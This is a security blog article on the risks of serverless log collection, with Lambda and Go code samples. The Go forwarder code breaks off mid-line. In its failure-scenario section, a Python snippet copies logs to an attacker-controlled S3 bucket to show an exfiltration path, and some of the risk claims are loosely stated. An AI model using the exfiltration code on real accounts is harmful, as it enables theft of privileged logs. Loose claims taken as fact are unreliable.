Overview
Collecting logs in near‑real‑time is a common requirement for security operations centers (SOCs). The temptation to reach for a serverless platform—AWS Lambda, Azure Functions, or Cloudflare Workers—stems from the promise of zero‑maintenance scaling. This article walks through a minimal serverless log collector, then dissects the hidden attack surface, data‑exfiltration pathways, and compliance gaps that make the approach unsuitable for environments where log integrity and confidentiality are non‑negotiable.
Step‑by‑Step: Building a Minimal Serverless Log Collector
The following example uses AWS Lambda written in Python. The function receives JSON‑encoded log events via API Gateway, validates a simple HMAC signature, and forwards the payload to an Amazon S3 bucket. The code is deliberately straightforward so that the subsequent analysis can focus on the underlying risks rather than on complex business logic.
import json
import hmac
import hashlib
import boto3
import os
import base64
s3 = boto3.client('s3')
BUCKET = os.getenv('TARGET_BUCKET')
SHARED_SECRET = os.getenv('HMAC_SECRET').encode()
def verify_signature(body: bytes, signature: str) -> bool:
expected = hmac.new(SHARED_SECRET, body, hashlib.sha256).digest()
return hmac.compare_digest(base64.b64decode(signature), expected)
def lambda_handler(event, context):
# API Gateway forwards the raw body
body = event.get('body', '')
if isinstance(body, str):
body_bytes = body.encode()
else:
body_bytes = body
# Expect a custom header X‑Log‑Sig with Base64‑encoded HMAC
signature = event['headers'].get('X-Log-Sig')
if not signature or not verify_signature(body_bytes, signature):
return {
'statusCode': 401,
'body': json.dumps({'error': 'Invalid signature'})
}
# Store raw log in S3 with a timestamped key
key = f"logs/{context.aws_request_id}.json"
s3.put_object(Bucket=BUCKET, Key=key, Body=body_bytes)
return {
'statusCode': 200,
'body': json.dumps({'status': 'accepted'})
}
Deploy the function with the following minimal SAM template. Note the use of environment variables for the bucket name and HMAC secret—an early indicator of secret‑management complexity.
AWSTemplateFormatVersion: '2010-09-09'
Transform: AWS::Serverless-2016-10-31
Resources:
LogCollectorFunction:
Type: AWS::Serverless::Function
Properties:
Runtime: python3.11
Handler: index.lambda_handler
CodeUri: ./src
Environment:
Variables:
TARGET_BUCKET: !Ref LogBucket
HMAC_SECRET: !Ref HmacSecret
Events:
LogEndpoint:
Type: Api
Properties:
Path: /collect
Method: post
LogBucket:
Type: AWS::S3::Bucket
DeletionPolicy: Retain
HmacSecret:
Type: AWS::SecretsManager::Secret
Properties:
Name: log‑collector‑hmac
GenerateSecretString:
SecretStringTemplate: '{"key":"replace-me"}'
GenerateStringKey: key
At this point you have a working serverless pipeline that accepts logs, validates authenticity, and writes them to durable storage. The next sections expose why this pattern is a security liability when applied to privileged log streams such as authentication events, firewall alerts, or intrusion‑detection system (IDS) records.
Hidden Risks in the Serverless Model
1. Ephemeral Execution Context – Lambda containers are reused for up to 15 minutes. If a malicious payload reaches the function before the HMAC check fails, it can leave residual data in memory that later invocations may read. The isolation boundary is “soft”; there is no guarantee that a rogue tenant cannot probe the process memory via side‑channel techniques.
2. Unbounded Concurrency – By design, the platform will spawn as many instances as inbound traffic demands. A burst of malformed log packets can cause the service to scale out dramatically, inflating the attack surface. Each new instance inherits the same IAM role, which—if over‑privileged—creates a “blast radius” where a single compromised function can write to any bucket in the account.
3. In‑flight Data Exposure – The log payload traverses three network hops: client → API Gateway → Lambda → S3. TLS protects the first two hops, but the function processes the raw log in clear text. If the function’s execution role includes s3:PutObject on a bucket that is also used by other services, an attacker who gains code execution can exfiltrate data by redirecting writes to an attacker‑controlled bucket.
4. Auditing Gaps – Serverless platforms emit CloudWatch logs, but those logs are themselves stored in S3 and can be tampered with if the same role is used for both data ingestion and log shipping. Without a dedicated write‑once, read‑many (WORM) store, an adversary who compromises the function can rewrite its own audit trail, erasing evidence of the breach.
5. Compliance Mismatch – Regulations such as PCI‑DSS, HIPAA, and GDPR require immutable log storage, strict access controls, and defined retention policies. Serverless services often lack native WORM guarantees, and the reliance on IAM policies for bucket access can be difficult to certify under audit frameworks.
Illustrating a Failure Scenario
The following Python snippet demonstrates how a malicious actor could abuse the same function code to pivot data into an attacker‑controlled bucket, assuming the function’s role has s3:PutObject on all buckets in the account (a common misconfiguration).
import boto3
import os
def malicious_payload():
# Assume the function's role is overly permissive
s3 = boto3.client('s3')
attacker_bucket = os.getenv('ATTACKER_BUCKET')
data = {'exfiltrated': 'true', 'logs': '...'}
s3.put_object(
Bucket=attacker_bucket,
Key='stolen_logs.json',
Body=json.dumps(data).encode()
)
If an attacker can inject this code—via a supply‑chain compromise of the deployment package, or by exploiting a deserialization bug in a downstream library—the function will silently copy privileged logs to a bucket outside the organization’s audit scope. Because the function returns a generic 200 OK, the client sees no indication of the breach.
Alternative Architecture: Dedicated Log Forwarder Service
Instead of a fully managed serverless function, consider a hardened, container‑based log forwarder that runs on a dedicated host with the following properties:
- Runs with a minimal, purpose‑built Linux user and SELinux/AppArmor profile.
- Uses mutual TLS (mTLS) for client authentication, eliminating the need for per‑request HMAC checks.
- Writes directly to an object store that enforces Object‑Lock (WORM) mode.
- Is deployed behind a bastion host with strict network ACLs, limiting exposure to the internal subnet only.
Below is a concise Go program that illustrates a secure, long‑running forwarder. It validates client certificates, streams logs to S3 using a signed URL, and rotates the URL every hour to limit the window of abuse.
package main
import (
"crypto/tls"
"crypto/x509"
"io"
"log"
"net/http"
"os"
"time"
"github.com/aws/aws-sdk-go/aws"
"github.com/aws/aws-sdk-go/aws/session"
"github.com/aws/aws-sdk-go/service/s3"
)
func loadTLSConfig() *tls.Config {
caCert, _ := os.ReadFile("/etc/ssl/certs/ca.pem")
caPool := x509.NewCertPool()
caPool.AppendCertsFromPEM(caCert)
cert, _ := tls.LoadX509KeyPair("/etc/ssl/certs/server.pem", "/etc/ssl/private/server.key")
return &tls.Config{
ClientCAs: caPool,
ClientAuth: tls.RequireAndVerifyClientCert,
Certificates: []tls.Certificate{cert},
}
}
func main() {
cfg := loadTLSConfig()
srv := &http.Server{
Addr: ":8443",
TLSConfig: cfg,
}
sess := session.Must(session.NewSession())
s3svc := s3.New(sess)
http.HandleFunc("/collect", func(w http.ResponseWriter, r *http.Request) {
// Generate a short‑lived signed PUT URL
req, _ := s3svc.PutObjectRequest(&s3.PutObjectInput{
Bucket: aws.String(os.Getenv("TARGET_BUCKET")),
Key: aws.String("logs/" + time.Now().Format(time.RFC3339Nano) + ".json"),
})
urlStr, _, _ := req.Pres
♥ Enjoyed this article? Use the like banner at the top
of the page to let us know — you can like it more than once! Each
additional like from the same reader carries a little less weight than
the first, so our appreciation scores reflect genuine enthusiasm rather
than accidental clicks. Your feedback helps us understand which topics
resonate most.